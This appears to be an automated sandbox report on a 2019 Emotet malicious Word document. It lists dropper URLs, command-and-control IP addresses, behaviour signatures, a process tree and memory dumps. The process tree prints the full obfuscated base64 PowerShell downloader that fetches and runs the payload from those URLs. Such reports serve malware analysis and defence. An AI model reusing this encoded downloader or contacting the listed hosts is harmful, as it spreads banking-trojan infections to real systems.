Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    134s
  • resource
    win7v191014
  • submitted
    13-12-2019 07:53

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Docs_7fd7b14acff688e84b811d03e1831552.4.doc

  • Sample

    191213-7kc6weyqka

  • SHA256

    57fd6973ae1ee5bc249420f5bfae5737bc4c9cbbf0caac146194044d390f9efc

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://kaikeline.com/1B/
exe.dropper

http://irpot.com/css/jRk5gg/
exe.dropper

http://kartcup.net/picture_library/eqop/
exe.dropper

http://lakelass.com/cgi-bin/2dhm/
exe.dropper

http://ouimet.biz/cgi-bin/l/

Extracted

Family

emotet

C2

173.91.11.142:80

47.6.15.79:80

47.6.15.79:443

37.59.24.177:8080

66.34.201.20:7080

108.179.206.219:8080

45.56.88.91:443

101.187.134.207:443

1.33.230.137:80

110.143.57.109:80

108.191.2.72:80

47.156.70.145:80

167.71.10.37:8080

190.226.44.20:21

74.105.102.97:8080

190.147.215.53:22

24.45.193.161:7080

70.175.171.251:80

138.59.177.106:443

12.176.19.218:80
rsa_pubkey.plain

Signatures

  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Drops file in System32 directory 6 IoCs
  • Modifies registry class 136 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_7fd7b14acff688e84b811d03e1831552.4.doc"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    PID:1376
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABKAGQAZwB5AHQAbABnAHEAbgB0AHUAPQAnAFcAaABiAGsAYwB6AGEAaQBxAHIAZwBuACcAOwAkAE8AYwB3AHkAcAB5AGQAeABtAGoAagBnAGUAIAA9ACAAJwAxADYAJwA7ACQAWQBrAG4AdABkAGoAbwBpAHQAcAA9ACcASABsAGoAZQB2AGcAaQBhAGYAaAAnADsAJABUAHUAeQBjAHgAeABsAHoAbgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATwBjAHcAeQBwAHkAZAB4AG0AagBqAGcAZQArACcALgBlAHgAZQAnADsAJABGAHkAZgBzAG0AegBsAHQAPQAnAFMAZABmAGEAbwBsAGkAeQBpAHYAbgBuACcAOwAkAFUAYgBkAGwAaQB0AHcAcwBnAGwAaABzAGMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQB0AC4AdwBlAGIAYwBMAGkARQBOAHQAOwAkAFgAcwBjAGsAeAB5AGcAegBoAG4AcwB1AHMAPQAnAGgAdAB0AHAAOgAvAC8AawBhAGkAawBlAGwAaQBuAGUALgBjAG8AbQAvADEAQgAvACoAaAB0AHQAcAA6AC8ALwBpAHIAcABvAHQALgBjAG8AbQAvAGMAcwBzAC8AagBSAGsANQBnAGcALwAqAGgAdAB0AHAAOgAvAC8AawBhAHIAdABjAHUAcAAuAG4AZQB0AC8AcABpAGMAdAB1AHIAZQBfAGwAaQBiAHIAYQByAHkALwBlAHEAbwBwAC8AKgBoAHQAdABwADoALwAvAGwAYQBrAGUAbABhAHMAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADIAZABoAG0ALwAqAGgAdAB0AHAAOgAvAC8AbwB1AGkAbQBlAHQALgBiAGkAegAvAGMAZwBpAC0AYgBpAG4ALwBsAC8AJwAuACIAUwBgAFAATABpAFQAIgAoACcAKgAnACkAOwAkAEgAbQBrAGcAcgBvAGgAcQBsAGoAbwBmAGUAPQAnAFUAZAB2AHAAbgB0AGcAegB1AHIAeAByAGcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEIAeQBsAHgAcABrAG4AcAB3AGwAZQBtACAAaQBuACAAJABYAHMAYwBrAHgAeQBnAHoAaABuAHMAdQBzACkAewB0AHIAeQB7ACQAVQBiAGQAbABpAHQAdwBzAGcAbABoAHMAYwAuACIARABgAG8AYAB3AE4ATABvAEEAZABGAGAASQBMAGUAIgAoACQAQgB5AGwAeABwAGsAbgBwAHcAbABlAG0ALAAgACQAVAB1AHkAYwB4AHgAbAB6AG4AKQA7ACQAUQByAGUAaABsAGEAbwBlAD0AJwBNAGIAcgB3AG0AagBnAG4AYwAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFQAdQB5AGMAeAB4AGwAegBuACkALgAiAGwARQBuAGAAZwBgAFQASAAiACAALQBnAGUAIAAzADAANwA4ADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AGEAYABSAFQAIgAoACQAVAB1AHkAYwB4AHgAbAB6AG4AKQA7ACQAWQBnAGQAYQBtAHEAbwB1AHcAYQBxAGkAPQAnAEEAdwBqAHcAZgB6AHQAZwBhAHIAcABjAGgAJwA7AGIAcgBlAGEAawA7ACQARABlAGwAbAB5AHQAeABlAGsAbgB5AD0AJwBMAG0AawBpAGMAcQBpAGoAZQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABTAHkAcgBnAG0AbABrAGkAZwBkAD0AJwBGAHgAdgBjAGMAcwB5AGoAZwBqAGwAdgBvACcA
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1284
    • C:\Users\Admin\16.exe
      "C:\Users\Admin\16.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1916
      • C:\Users\Admin\16.exe
        --9b97a9af
        3⤵
        • Suspicious behavior: EmotetMutantsSpam
        • Drops file in System32 directory
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:1904
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "-115038910015188956801145298583-1479397551652332624-1907009593-191511810289101129"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1804
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k WerSvcGroup
    1⤵
      PID:1980
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
        PID:2044
      • C:\Windows\SysWOW64\sensorwsa.exe
        "C:\Windows\SysWOW64\sensorwsa.exe"
        1⤵
        • Suspicious use of WriteProcessMemory
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:1984
        • C:\Windows\SysWOW64\sensorwsa.exe
          --df423861
          2⤵
          • Suspicious behavior: EmotetMutantsSpam
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          PID:2008

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1376-4-0x00000000066C5000-0x0000000006759000-memory.dmp

        Filesize

        592KB

        Download

      • memory/1376-6-0x00000000067A8000-0x00000000067AC000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1376-7-0x00000000067A8000-0x00000000067AC000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1376-5-0x00000000066C5000-0x0000000006759000-memory.dmp

        Filesize

        592KB

        Download

      • memory/1376-0-0x00000000066B0000-0x00000000066B4000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1376-3-0x0000000009230000-0x0000000009234000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1376-2-0x0000000005C43000-0x0000000005CEC000-memory.dmp

        Filesize

        676KB

        Download

      • memory/1376-1-0x0000000006815000-0x0000000006819000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1904-12-0x0000000001C60000-0x0000000001C77000-memory.dmp

        Filesize

        92KB

        Download

      • memory/1904-13-0x0000000000400000-0x000000000044E000-memory.dmp

        Filesize

        312KB

        Download

      • memory/1916-10-0x00000000003D0000-0x00000000003E7000-memory.dmp

        Filesize

        92KB

        Download

      • memory/2008-17-0x0000000000340000-0x0000000000357000-memory.dmp

        Filesize

        92KB

        Download

      • memory/2008-18-0x0000000000400000-0x000000000044E000-memory.dmp

        Filesize

        312KB

        Download